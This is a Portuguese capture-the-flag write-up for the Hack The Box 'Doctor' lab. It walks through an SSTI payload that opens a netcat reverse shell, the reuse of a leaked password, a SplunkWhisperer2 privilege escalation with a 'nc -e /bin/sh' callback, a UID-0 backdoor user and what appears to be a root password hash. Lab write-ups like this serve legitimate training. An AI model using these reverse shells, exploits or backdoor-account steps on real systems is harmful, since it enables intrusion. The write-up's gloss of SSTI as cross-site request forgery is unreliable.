Exord26 Write-UP Doctor Hack The Box
Essa é uma máquina bem interessante pois através dela tive meu primeiro contato com a enumeração/invasão por SSTI (solicitação entre sites forjada) que permite que um invasor induza um servidor alvo a executar ações anormais. Após a enumeração da rede, eu realizei acesso a porta 80 e notei que era necessário correlacionar o IP da máquina com um domínio descoberto na página inicial para obter acesso a um servidor web vulnerável a SSTI que permitia a entrada do sistema. Após entrar na máquina utilizei um script de enumeração de vulnerabilidades e realizando o tratamento do resultado verifiquei uma possível falha de segurança em um arquivo de backup do servidor de arquivos que me permitiu obter a user flag. Para escalar privilégios e captura da root flag, retornei ao resultado da enumeração da rede, e avaliei que um servidor na porta 8089 rodava um aplicação vulnerável como root. Essa aplicação possuía uma exploit que permitia a execução de comando remotamente que para ser executada precisava de credenciais previamente conhecidas.
Informações relevantes
Host Atacante: Kali linux 2020 -> IP: 10.10.16.X;
Diretório base: /root/htb/doctor/;
Host Alvo: S.O Desconhecido; Hostname: Doctor > IP: 10.10.10.209;
0. Realizada previamente conexão via openvpn com o servidor HTB
1. https://explainshell.com/
2. nmap
3. PayloadsAllTheThings/Server Side Template Injection/
4. alteração no /etc/hosts
5. nikto
6. rlwrap
1 Enumeração do host alvo e identificação dos serviços;
nmap -A — top-ports 1500 -Pn -n 10.10.10.209 > doctor
Starting Nmap 7.80 ( https://nmap.org ) at 2020–09–30 08:33 -03
Nmap scan report for 10.10.10.209
Host is up (0.15s latency).
Not shown: 1497 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
2. Determinação de vulnerabilidades nos serviços identificados;
Após essa identificação foi realizado o acesso a porta 80 do host alvo, sendo localizada uma página de web através do acesso a url: http://10.10.10.209. Conforme figura abaixo, o acesso exibiu uma página com título Doctor , que apresenta-se como um site de portfólio de uma clínica médica:
Conforme figura abaixo, analisando essa página web, por meio do acesso a links disponíveis no site foi possível identificar de forma clara que o email de contato possui domínio doctors.htb:
Como não consegui direto acesso através ao servidor doctors.htb realizei sua correlação como host/dominio do servidor 10.10.10.209 no arquivo /etc/hosts, através do comando:
echo ‘10.10.10.209 doctors.htb’ >> /etc/hosts
Com essa alteração realizei acesso ao host doctors.htb e obtive acesso à página abaixo:
Realizando a enumeração da página através do nikto foi possível identificar que o servidor que hospeda página é o ‘Werkzeug/1.0.1 Python/3.8.2’, pesquisando por possíveis vulnerabilidades foi notado que Werkzeug é um toolkit para WSGI, a interface padrão entre aplicações web Python e servidores HTTP para desenvolvimento e implantação que utiliza o Flask para realizar a criação de aplicativos Web em Python. Esse conjunto Flash + Python + Werkzeug quando não protegido pode evidenciar uma vulnerabilidade de SSTI Isso me fez pensar em uma injeção de modelo do lado do servidor. (SSTI)
De acordo com Port Swigger, aqui está uma pequena explicação sobre o que é:
“A injeção de modelo no lado do servidor é quando um invasor é capaz de usar a sintaxe do modelo nativo para injetar uma carga maliciosa em um modelo, que é então executado no lado do servidor.
Os mecanismos de modelo são projetados para gerar páginas da web combinando modelos fixos com dados voláteis. Ataques de injeção de modelo do lado do servidor podem ocorrer quando a entrada do usuário é concatenada diretamente em um modelo, em vez de passada como dados. Isso permite que os invasores injetem diretivas de modelo arbitrárias para manipular o mecanismo de modelo, geralmente permitindo que eles assumam o controle total do servidor. Como o nome sugere, as cargas úteis de injeção de modelo do lado do servidor são entregues e avaliadas no lado do servidor, tornando-as potencialmente muito mais perigosas do que uma injeção típica de modelo do lado do cliente. ”
Analisando a página foi possível, identificar a permissão de criação de usuário, com um cadastro válido por 20 minutos. Após, foi necessário identificar uma página que permita a execução de SSTI, localizada em http://doctors.htb/post/new.
Para análise da vulnerabilidade foi levantado um servidor em python para obter as requisições e confirmar o RCE da página através da metodologia do site.
python3 -m http.server 80
Sendo assim é afirmar que a aplicação é vulnerável a SSTI.
Em adição:
3 Exploração de vulnerabilidades para obtenção do acesso
Assim, deve-se então usar a vulnerabilidade a SSTI para obter acesso ao sistema e realizar a identificação de usuário logado, através da inserção do comando na mensagem da página doctors.htb e do comando de recebimento de shell via netcat na máquina atacante:
rlwrap nc -vlnp 1234
Payload na página doctos.htb:
titítlo: invasão
texto/Payload:
http://10.10.14.X/$(nc.traditional$IFS-$IFS/bin/bash$IFS'10.10.14.X'$IFS'1234')
Analisando o acesso inicial foi notado que existe um usuário chamado shaun, para a enumeração interna da máquina foi utilizado o script Linpeas.sh, que através do seu resultado tratado foi achado uma senha Guitar123.
Essa senha foi inserida erroneamente no página de recuperação de senhas da página doctors.htb/reset_password no local do e-mail. Sendo assim, essa senha pode ser de um usuário do sistema. Ao realizar o teste no usuário shaun devido ao Príncipio do Reuso de Senha foi obtido resultado positivo para as credenciais e coleta da user flag.
4 Escalação de privilégio
Para a escalação de privilégio e obtenção da root flag, foi utilizado o script foi utilizado o resultado do script anterior, do qual foi possível evidenciar que o usuário root iniciou o serviço Splunk na porta 8089, conforme figura abaixo:
Após utilizar a senha de shaun para acesso na página https://10.10.10.209:8089/services/, não foi possível identificar um caminho para explorar via web, procurando por vulnerabilidades no searchsploit foi possível localizar o exploit numero 18245.py que redirecionava para https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/18245.zip, contudo esse exploit não foi executado com sucesso. Conforme figura abaixo:
Na busca por vulnerabilidades desse serviço Splunk, foi localizado um script na página https://github.com/airman604/splunk_whisperer. Essa página explica que o Splunk Universal Forwarder inclui um serviço de gerenciamento que escuta na porta TCP 8089 e é usado para gerenciar o encaminhador. Por padrão, ele aceita conexões remotas, mas não permite conexões remotas com credenciais padrão (admin / changeme). O exploit pode ser usado das seguintes maneiras:
- Escalonamento de privilégios locais para o usuário sob o qual o encaminhador está sendo executado, se a senha padrão não for alterada.
- Execução de comando remoto (com os privilégios sob os quais o encaminhador está sendo executado) se a senha padrão foi alterada e é conhecida pelo invasor.
Observe que isso não se qualifica necessariamente como uma vulnerabilidade no produto, embora a execução de um serviço de gerenciamento no encaminhador não seja uma boa decisão de arquitetura na minha opinião, pois aumenta a superfície de ataque desnecessariamente. Não executar o serviço ou forçar a alteração da senha de administrador padrão durante a instalação seriam opções melhores. O encaminhador não possui nenhum mecanismo de bloqueio de conta, portanto, o forçamento bruto da senha do administrador é viável. O exploit funciona na seguinte forma:
Ele se conecta à porta de gerenciamento do Splunk Universal Forwarder, realizando prévia autenticação com as credenciais fornecidas ou padrão e realiza a configuração do encaminhador para usar a máquina controlada pelo invasor como o servidor de implantação.
O encaminhador então se conecta à máquina do invasor e solicita os aplicativos de implantação. A exploração responde à solicitação com um aplicativo falso contendo uma entrada de script instruindo o encaminhador a executar o script. Após um atraso, o exploit se conecta novamente à porta de gerenciamento do encaminhador e reverte a configuração do servidor de implantação.
Assim para escalar privilégios realize os seguintes passos:
1. Inicie o nc para receber a conexão shell do exploit
nc -nvlp 1234
2. Clone o repositório para sua máquina atacante
3. Mude para o diretório
cd SplunkWhisperer2/PySplunkWhisperer2
4. Inicie o exploit nesses parâmetros
python PySplunkWhisperer2_remote.py — host 10.10.10.209 — lhost 10.10.14.X — username shaun — password Guitar123 — payload ‘nc.traditional -e/bin/sh 10.10.14.X 1234’
Com isso, após a exploit em python através do comando acima, foi possível obter acesso como administrador do host alvo e pegar a root flag.
5 Estabelecimento da persistência
Conforme aprendizado anterior, uma das formas de manter persistência é adicionando um usuário com privilégios de root, para isso no linux é necessário realizar os seguintes comandos:
useradd -ou 0 -g 0 john
passwd john
root:$6$384TbSO3bB1PWLT1$U8U.j.zBLXobhorPDxOMRZh4eE86lcn7C0dvqRvfJ9qDzreti8HDvXwFZccDat9/HJRNwu04ErVxo3mUwVbs5.:18512:0:99999:7:::
